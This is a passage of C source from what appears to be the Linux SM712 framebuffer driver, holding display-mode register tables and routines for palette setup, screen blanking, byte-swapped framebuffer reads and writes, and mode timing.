0xFF, 0xBF, 0xFF, 0xFF, 0xED, 0xED, 0xED, 0x7B, 0xFF, 0xFF, 0xFF, 0xBF, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0x7F, 0x63, 0x63, 0x00, 0x68, 0x18, 0x72, 0xF0, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x0C, 0x57, 0x64, 0x40, 0x57, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x03, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xE7, 0xBF, 0xFD, 0x7F, 0x63, 0x00, 0x69, 0x18, 0x72, 0x57, 0x00, 0x58, 0x0C, 0xE0, 0x20, 0x63, 0x57, }, { /* Init_CR90_CRA7 */ 0x56, 0x4B, 0x5E, 0x55, 0x86, 0x9D, 0x8E, 0xAA, 0xDB, 0x2A, 0xDF, 0x33, 0x00, 0x00, 0x18, 0x00, 0x20, 0x1F, 0x1A, 0x19, 0x0F, 0x0F, 0x0F, 0x00, }, }, { /* mode#7: 800 x 600 32Bpp 60Hz */ 800, 600, 32, 60, /* Init_MISC */ 0x2B, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xFF, 0xBE, 0xEE, 0xFF, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x34, 0x03, 0x20, 0x09, 0xC0, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x38, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x24, 0x24, 0x24, 0x04, 0x48, 0x83, 0x63, 0x68, 0x72, 0x57, 0x58, 0x04, 0x55, 0x59, 0x24, 0x24, 0x00, 0x00, 0x24, 0x01, 0x80, 0x7A, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x1C, 0x85, 0x35, 0x13, 0x02, 0x45, 0x30, 0x35, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0x00, 0x00, 0x00, 0x6F, 0x7F, 0x7F, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x24, 0x24, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFF, 0xBF, 0xFF, 0xFF, 0xED, 0xED, 0xED, 0x7B, 0xFF, 0xFF, 0xFF, 0xBF, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0x7F, 0x63, 0x63, 0x00, 0x68, 0x18, 0x72, 0xF0, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x0C, 0x57, 0x64, 0x40, 0x57, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x03, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xE7, 0xBF, 0xFD, 0x7F, 0x63, 0x00, 0x69, 0x18, 0x72, 0x57, 0x00, 0x58, 0x0C, 0xE0, 0x20, 0x63, 0x57, }, { /* Init_CR90_CRA7 */ 0x56, 0x4B, 0x5E, 0x55, 0x86, 0x9D, 0x8E, 0xAA, 0xDB, 0x2A, 0xDF, 0x33, 0x00, 0x00, 0x18, 0x00, 0x20, 0x1F, 0x1A, 0x19, 0x0F, 0x0F, 0x0F, 0x00, }, }, /* We use 1024x768 table to light 1024x600 panel for lemote */ { /* mode#4: 1024 x 600 16Bpp 60Hz */ 1024, 600, 16, 60, /* Init_MISC */ 0xEB, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x00, 0x0E, }, { /* Init_SR10_SR24 */ 0xC8, 0x40, 0x14, 0x60, 0x00, 0x0A, 0x17, 0x20, 0x51, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x00, 0x01, }, { /* Init_SR30_SR75 */ 0x22, 0x03, 0x24, 0x09, 0xC0, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x22, 0x22, 0x22, 0x06, 0x68, 0xA7, 0x7F, 0x83, 0x24, 0xFF, 0x03, 0x00, 0x60, 0x59, 0x22, 0x22, 0x00, 0x00, 0x22, 0x01, 0x80, 0x7A, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x16, 0x02, 0x0D, 0x82, 0x09, 0x02, 0x04, 0x45, 0x3F, 0x30, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0xF7, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x3A, 0x3A, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFB, 0x9F, 0x01, 0x00, 0xED, 0xED, 0xED, 0x7B, 0xFB, 0xFF, 0xFF, 0x97, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0xA3, 0x7F, 0x7F, 0x00, 0x85, 0x16, 0x24, 0xF5, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0xFF, 0x80, 0x40, 0xFF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xFF, 0xBF, 0xFF, 0xA3, 0x7F, 0x00, 0x82, 0x0b, 0x6f, 0x57, 0x00, 0x5c, 0x0f, 0xE0, 0xe0, 0x7F, 0x57, }, { /* Init_CR90_CRA7 */ 0x55, 0xD9, 0x5D, 0xE1, 0x86, 0x1B, 0x8E, 0x26, 0xDA, 0x8D, 0xDE, 0x94, 0x00, 0x00, 0x18, 0x00, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x15, 0x03, }, }, { /* mode#5: 1024 x 768 24Bpp 60Hz */ 1024, 768, 24, 60, /* Init_MISC */ 0xEB, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xF3, 0xB6, 0xC0, 0xDD, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x30, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x38, 0x03, 0x20, 0x09, 0xC0, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x00, 0x00, 0x3A, 0x06, 0x68, 0xA7, 0x7F, 0x83, 0x24, 0xFF, 0x03, 0x00, 0x60, 0x59, 0x3A, 0x3A, 0x00, 0x00, 0x3A, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x3B, 0x0D, 0x09, 0x02, 0x04, 0x45, 0x30, 0x30, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0xF7, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x3A, 0x3A, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFB, 0x9F, 0x01, 0x00, 0xED, 0xED, 0xED, 0x7B, 0xFB, 0xFF, 0xFF, 0x97, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0xA3, 0x7F, 0x7F, 0x00, 0x85, 0x16, 0x24, 0xF5, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0xFF, 0x80, 0x40, 0xFF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xFF, 0xBF, 0xFF, 0xA3, 0x7F, 0x00, 0x86, 0x15, 0x24, 0xFF, 0x00, 0x01, 0x07, 0xE5, 0x20, 0x7F, 0xFF, }, { /* Init_CR90_CRA7 */ 0x55, 0xD9, 0x5D, 0xE1, 0x86, 0x1B, 0x8E, 0x26, 0xDA, 0x8D, 0xDE, 0x94, 0x00, 0x00, 0x18, 0x00, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x15, 0x03, }, }, { /* mode#4: 1024 x 768 32Bpp 60Hz */ 1024, 768, 32, 60, /* Init_MISC */ 0xEB, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xF3, 0xB6, 0xC0, 0xDD, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x32, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x38, 0x03, 0x20, 0x09, 0xC0, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x00, 0x00, 0x3A, 0x06, 0x68, 0xA7, 0x7F, 0x83, 0x24, 0xFF, 0x03, 0x00, 0x60, 0x59, 0x3A, 0x3A, 0x00, 0x00, 0x3A, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x3B, 0x0D, 0x09, 0x02, 0x04, 0x45, 0x30, 0x30, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0xF7, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x3A, 0x3A, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFB, 0x9F, 0x01, 0x00, 0xED, 0xED, 0xED, 0x7B, 0xFB, 0xFF, 0xFF, 0x97, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0xA3, 0x7F, 0x7F, 0x00, 0x85, 0x16, 0x24, 0xF5, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0xFF, 0x80, 0x40, 0xFF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0x20, 0x00, 0x00, 0x00, 0x40, 0x00, 0xFF, 0xBF, 0xFF, 0xA3, 0x7F, 0x00, 0x86, 0x15, 0x24, 0xFF, 0x00, 0x01, 0x07, 0xE5, 0x20, 0x7F, 0xFF, }, { /* Init_CR90_CRA7 */ 0x55, 0xD9, 0x5D, 0xE1, 0x86, 0x1B, 0x8E, 0x26, 0xDA, 0x8D, 0xDE, 0x94, 0x00, 0x00, 0x18, 0x00, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x15, 0x03, }, }, { /* mode#6: 320 x 240 16Bpp 60Hz */ 320, 240, 16, 60, /* Init_MISC */ 0xEB, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xF3, 0xB6, 0xC0, 0xDD, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x32, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x38, 0x03, 0x20, 0x09, 0xC0, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x00, 0x00, 0x3A, 0x06, 0x68, 0xA7, 0x7F, 0x83, 0x24, 0xFF, 0x03, 0x00, 0x60, 0x59, 0x3A, 0x3A, 0x00, 0x00, 0x3A, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x08, 0x43, 0x08, 0x43, 0x04, 0x45, 0x30, 0x30, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0xF7, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x3A, 0x3A, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFB, 0x9F, 0x01, 0x00, 0xED, 0xED, 0xED, 0x7B, 0xFB, 0xFF, 0xFF, 0x97, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0xA3, 0x7F, 0x7F, 0x00, 0x85, 0x16, 0x24, 0xF5, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0xFF, 0x80, 0x40, 0xFF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0x20, 0x00, 0x00, 0x30, 0x40, 0x00, 0xFF, 0xBF, 0xFF, 0x2E, 0x27, 0x00, 0x2b, 0x0c, 0x0F, 0xEF, 0x00, 0xFe, 0x0f, 0x01, 0xC0, 0x27, 0xEF, }, { /* Init_CR90_CRA7 */ 0x55, 0xD9, 0x5D, 0xE1, 0x86, 0x1B, 0x8E, 0x26, 0xDA, 0x8D, 0xDE, 0x94, 0x00, 0x00, 0x18, 0x00, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x15, 0x03, }, }, { /* mode#8: 320 x 240 32Bpp 60Hz */ 320, 240, 32, 60, /* Init_MISC */ 0xEB, { /* Init_SR0_SR4 */ 0x03, 0x01, 0x0F, 0x03, 0x0E, }, { /* Init_SR10_SR24 */ 0xF3, 0xB6, 0xC0, 0xDD, 0x00, 0x0E, 0x17, 0x2C, 0x99, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x32, 0x02, 0x01, 0x01, }, { /* Init_SR30_SR75 */ 0x38, 0x03, 0x20, 0x09, 0xC0, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x00, 0x00, 0x03, 0xFF, 0x00, 0xFC, 0x00, 0x00, 0x20, 0x18, 0x00, 0xFC, 0x20, 0x0C, 0x44, 0x20, 0x00, 0x00, 0x00, 0x3A, 0x06, 0x68, 0xA7, 0x7F, 0x83, 0x24, 0xFF, 0x03, 0x00, 0x60, 0x59, 0x3A, 0x3A, 0x00, 0x00, 0x3A, 0x01, 0x80, 0x7E, 0x1A, 0x1A, 0x00, 0x00, 0x00, 0x50, 0x03, 0x74, 0x14, 0x08, 0x43, 0x08, 0x43, 0x04, 0x45, 0x30, 0x30, 0x40, 0x20, }, { /* Init_SR80_SR93 */ 0xFF, 0x07, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x3A, 0xF7, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x3A, 0x3A, 0x00, 0x00, 0x00, 0x00, }, { /* Init_SRA0_SRAF */ 0x00, 0xFB, 0x9F, 0x01, 0x00, 0xED, 0xED, 0xED, 0x7B, 0xFB, 0xFF, 0xFF, 0x97, 0xEF, 0xBF, 0xDF, }, { /* Init_GR00_GR08 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x05, 0x0F, 0xFF, }, { /* Init_AR00_AR14 */ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x41, 0x00, 0x0F, 0x00, 0x00, }, { /* Init_CR00_CR18 */ 0xA3, 0x7F, 0x7F, 0x00, 0x85, 0x16, 0x24, 0xF5, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0xFF, 0x80, 0x40, 0xFF, 0x00, 0xE3, 0xFF, }, { /* Init_CR30_CR4D */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0x20, 0x00, 0x00, 0x30, 0x40, 0x00, 0xFF, 0xBF, 0xFF, 0x2E, 0x27, 0x00, 0x2b, 0x0c, 0x0F, 0xEF, 0x00, 0xFe, 0x0f, 0x01, 0xC0, 0x27, 0xEF, }, { /* Init_CR90_CRA7 */ 0x55, 0xD9, 0x5D, 0xE1, 0x86, 0x1B, 0x8E, 0x26, 0xDA, 0x8D, 0xDE, 0x94, 0x00, 0x00, 0x18, 0x00, 0x03, 0x03, 0x03, 0x03, 0x03, 0x03, 0x15, 0x03, }, }, }; static struct screen_info smtc_scr_info; static char *mode_option; /* process command line options, get vga parameter */ static void __init sm7xx_vga_setup(char *options) { int i; if (!options || !*options) return; smtc_scr_info.lfb_width = 0; smtc_scr_info.lfb_height = 0; smtc_scr_info.lfb_depth = 0; pr_debug("sm7xx_vga_setup = %s\n", options); for (i = 0; i < ARRAY_SIZE(vesa_mode_table); i++) { if (strstr(options, vesa_mode_table[i].index)) { smtc_scr_info.lfb_width = vesa_mode_table[i].lfb_width; smtc_scr_info.lfb_height = vesa_mode_table[i].lfb_height; smtc_scr_info.lfb_depth = vesa_mode_table[i].lfb_depth; return; } } } static void sm712_setpalette(int regno, unsigned red, unsigned green, unsigned blue, struct fb_info *info) { /* set bit 5:4 = 01 (write LCD RAM only) */ smtc_seqw(0x66, (smtc_seqr(0x66) & 0xC3) | 0x10); smtc_mmiowb(regno, dac_reg); smtc_mmiowb(red >> 10, dac_val); smtc_mmiowb(green >> 10, dac_val); smtc_mmiowb(blue >> 10, dac_val); } /* chan_to_field * * convert a colour value into a field position * * from pxafb.c */ static inline unsigned int chan_to_field(unsigned int chan, struct fb_bitfield *bf) { chan &= 0xffff; chan >>= 16 - bf->length; return chan << bf->offset; } static int smtc_blank(int blank_mode, struct fb_info *info) { /* clear DPMS setting */ switch (blank_mode) { case FB_BLANK_UNBLANK: /* Screen On: HSync: On, VSync : On */ smtc_seqw(0x01, (smtc_seqr(0x01) & (~0x20))); smtc_seqw(0x6a, 0x16); smtc_seqw(0x6b, 0x02); smtc_seqw(0x21, (smtc_seqr(0x21) & 0x77)); smtc_seqw(0x22, (smtc_seqr(0x22) & (~0x30))); smtc_seqw(0x23, (smtc_seqr(0x23) & (~0xc0))); smtc_seqw(0x24, (smtc_seqr(0x24) | 0x01)); smtc_seqw(0x31, (smtc_seqr(0x31) | 0x03)); break; case FB_BLANK_NORMAL: /* Screen Off: HSync: On, VSync : On Soft blank */ smtc_seqw(0x01, (smtc_seqr(0x01) & (~0x20))); smtc_seqw(0x6a, 0x16); smtc_seqw(0x6b, 0x02); smtc_seqw(0x22, (smtc_seqr(0x22) & (~0x30))); smtc_seqw(0x23, (smtc_seqr(0x23) & (~0xc0))); smtc_seqw(0x24, (smtc_seqr(0x24) | 0x01)); smtc_seqw(0x31, ((smtc_seqr(0x31) & (~0x07)) | 0x00)); break; case FB_BLANK_VSYNC_SUSPEND: /* Screen On: HSync: On, VSync : Off */ smtc_seqw(0x01, (smtc_seqr(0x01) | 0x20)); smtc_seqw(0x20, (smtc_seqr(0x20) & (~0xB0))); smtc_seqw(0x6a, 0x0c); smtc_seqw(0x6b, 0x02); smtc_seqw(0x21, (smtc_seqr(0x21) | 0x88)); smtc_seqw(0x22, ((smtc_seqr(0x22) & (~0x30)) | 0x20)); smtc_seqw(0x23, ((smtc_seqr(0x23) & (~0xc0)) | 0x20)); smtc_seqw(0x24, (smtc_seqr(0x24) & (~0x01))); smtc_seqw(0x31, ((smtc_seqr(0x31) & (~0x07)) | 0x00)); smtc_seqw(0x34, (smtc_seqr(0x34) | 0x80)); break; case FB_BLANK_HSYNC_SUSPEND: /* Screen On: HSync: Off, VSync : On */ smtc_seqw(0x01, (smtc_seqr(0x01) | 0x20)); smtc_seqw(0x20, (smtc_seqr(0x20) & (~0xB0))); smtc_seqw(0x6a, 0x0c); smtc_seqw(0x6b, 0x02); smtc_seqw(0x21, (smtc_seqr(0x21) | 0x88)); smtc_seqw(0x22, ((smtc_seqr(0x22) & (~0x30)) | 0x10)); smtc_seqw(0x23, ((smtc_seqr(0x23) & (~0xc0)) | 0xD8)); smtc_seqw(0x24, (smtc_seqr(0x24) & (~0x01))); smtc_seqw(0x31, ((smtc_seqr(0x31) & (~0x07)) | 0x00)); smtc_seqw(0x34, (smtc_seqr(0x34) | 0x80)); break; case FB_BLANK_POWERDOWN: /* Screen On: HSync: Off, VSync : Off */ smtc_seqw(0x01, (smtc_seqr(0x01) | 0x20)); smtc_seqw(0x20, (smtc_seqr(0x20) & (~0xB0))); smtc_seqw(0x6a, 0x0c); smtc_seqw(0x6b, 0x02); smtc_seqw(0x21, (smtc_seqr(0x21) | 0x88)); smtc_seqw(0x22, ((smtc_seqr(0x22) & (~0x30)) | 0x30)); smtc_seqw(0x23, ((smtc_seqr(0x23) & (~0xc0)) | 0xD8)); smtc_seqw(0x24, (smtc_seqr(0x24) & (~0x01))); smtc_seqw(0x31, ((smtc_seqr(0x31) & (~0x07)) | 0x00)); smtc_seqw(0x34, (smtc_seqr(0x34) | 0x80)); break; default: return -EINVAL; } return 0; } static int smtc_setcolreg(unsigned regno, unsigned red, unsigned green, unsigned blue, unsigned trans, struct fb_info *info) { struct smtcfb_info *sfb; u32 val; sfb = info->par; if (regno > 255) return 1; switch (sfb->fb->fix.visual) { case FB_VISUAL_DIRECTCOLOR: case FB_VISUAL_TRUECOLOR: /* * 16/32 bit true-colour, use pseudo-palette for 16 base color */ if (regno >= 16) break; if (sfb->fb->var.bits_per_pixel == 16) { u32 *pal = sfb->fb->pseudo_palette; val = chan_to_field(red, &sfb->fb->var.red); val |= chan_to_field(green, &sfb->fb->var.green); val |= chan_to_field(blue, &sfb->fb->var.blue); #ifdef __BIG_ENDIAN pal[regno] = ((red & 0xf800) >> 8) | ((green & 0xe000) >> 13) | ((green & 0x1c00) << 3) | ((blue & 0xf800) >> 3); #else pal[regno] = val; #endif } else { u32 *pal = sfb->fb->pseudo_palette; val = chan_to_field(red, &sfb->fb->var.red); val |= chan_to_field(green, &sfb->fb->var.green); val |= chan_to_field(blue, &sfb->fb->var.blue); #ifdef __BIG_ENDIAN val = (val & 0xff00ff00 >> 8) | (val & 0x00ff00ff << 8); #endif pal[regno] = val; } break; case FB_VISUAL_PSEUDOCOLOR: /* color depth 8 bit */ sm712_setpalette(regno, red, green, blue, info); break; default: return 1; /* unknown type */ } return 0; } #ifdef __BIG_ENDIAN static ssize_t smtcfb_read(struct fb_info *info, char __user *buf, size_t count, loff_t *ppos) { unsigned long p = *ppos; u32 *buffer, *dst; u32 __iomem *src; int c, i, cnt = 0, err = 0; unsigned long total_size; if (!info || !info->screen_base) return -ENODEV; if (info->state != FBINFO_STATE_RUNNING) return -EPERM; total_size = info->screen_size; if (total_size == 0) total_size = info->fix.smem_len; if (p >= total_size) return 0; if (count >= total_size) count = total_size; if (count + p > total_size) count = total_size - p; buffer = kmalloc((count > PAGE_SIZE) ? PAGE_SIZE : count, GFP_KERNEL); if (!buffer) return -ENOMEM; src = (u32 __iomem *)(info->screen_base + p); if (info->fbops->fb_sync) info->fbops->fb_sync(info); while (count) { c = (count > PAGE_SIZE) ? PAGE_SIZE : count; dst = buffer; for (i = c >> 2; i--;) { *dst = fb_readl(src++); *dst = (*dst & 0xff00ff00 >> 8) | (*dst & 0x00ff00ff << 8); dst++; } if (c & 3) { u8 *dst8 = (u8 *)dst; u8 __iomem *src8 = (u8 __iomem *)src; for (i = c & 3; i--;) { if (i & 1) { *dst8++ = fb_readb(++src8); } else { *dst8++ = fb_readb(--src8); src8 += 2; } } src = (u32 __iomem *)src8; } if (copy_to_user(buf, buffer, c)) { err = -EFAULT; break; } *ppos += c; buf += c; cnt += c; count -= c; } kfree(buffer); return (err) ? err : cnt; } static ssize_t smtcfb_write(struct fb_info *info, const char __user *buf, size_t count, loff_t *ppos) { unsigned long p = *ppos; u32 *buffer, *src; u32 __iomem *dst; int c, i, cnt = 0, err = 0; unsigned long total_size; if (!info || !info->screen_base) return -ENODEV; if (info->state != FBINFO_STATE_RUNNING) return -EPERM; total_size = info->screen_size; if (total_size == 0) total_size = info->fix.smem_len; if (p > total_size) return -EFBIG; if (count > total_size) { err = -EFBIG; count = total_size; } if (count + p > total_size) { if (!err) err = -ENOSPC; count = total_size - p; } buffer = kmalloc((count > PAGE_SIZE) ? PAGE_SIZE : count, GFP_KERNEL); if (!buffer) return -ENOMEM; dst = (u32 __iomem *)(info->screen_base + p); if (info->fbops->fb_sync) info->fbops->fb_sync(info); while (count) { c = (count > PAGE_SIZE) ? PAGE_SIZE : count; src = buffer; if (copy_from_user(src, buf, c)) { err = -EFAULT; break; } for (i = c >> 2; i--;) { fb_writel((*src & 0xff00ff00 >> 8) | (*src & 0x00ff00ff << 8), dst++); src++; } if (c & 3) { u8 *src8 = (u8 *)src; u8 __iomem *dst8 = (u8 __iomem *)dst; for (i = c & 3; i--;) { if (i & 1) { fb_writeb(*src8++, ++dst8); } else { fb_writeb(*src8++, --dst8); dst8 += 2; } } dst = (u32 __iomem *)dst8; } *ppos += c; buf += c; cnt += c; count -= c; } kfree(buffer); return (cnt) ? cnt : err; } #endif /* ! __BIG_ENDIAN */ static void sm7xx_set_timing(struct smtcfb_info *sfb) { int i = 0, j = 0; u32 m_nscreenstride; dev_dbg(&sfb->pdev->dev, "sfb->width=%d sfb->height=%d sfb->fb->var.bits_per_pixel=%d sfb->hz=%d\n", sfb->width, sfb->height, sfb->fb->var.bits_per_pixel, sfb->hz); for (j = 0; j < ARRAY_SIZE(vgamode); j++) { if (vgamode[j].mmsizex != sfb->width || vgamode[j].mmsizey != sfb->height || vgamode[j].bpp != sfb->fb->var.bits_per_pixel || vgamode[j].hz != sfb->hz) continue; dev_dbg(&sfb->pdev->dev, "vgamode[j].mmsizex=%d vgamode[j].mmSizeY=%d vgamode[j].bpp=%d vgamode[j].hz=%d\n", vgamode[j].mmsizex, vgamode[j].mmsizey, vgamode[j].bpp, vgamode[j].hz); dev_dbg(&sfb->pdev->dev, "vgamode index=%d\n", j); smtc_mmiowb(0x0, 0x3c6); smtc_seqw(0, 0x1); smtc_mmiowb(vgamode[j].init_misc, 0x3c2); /* init SEQ register SR00 - SR04 */ for (i = 0; i < SIZE_SR00_SR04; i++) smtc_seqw(i, vgamode[j].init_sr00_sr04[i]); /* init SEQ register SR10 - SR24 */ for (i = 0; i < SIZE_SR10_SR24; i++) smtc_seqw(i + 0x10, vgamode[j].init_sr10_sr24[i]); /* init SEQ register SR30 - SR75 */ for (i = 0; i < 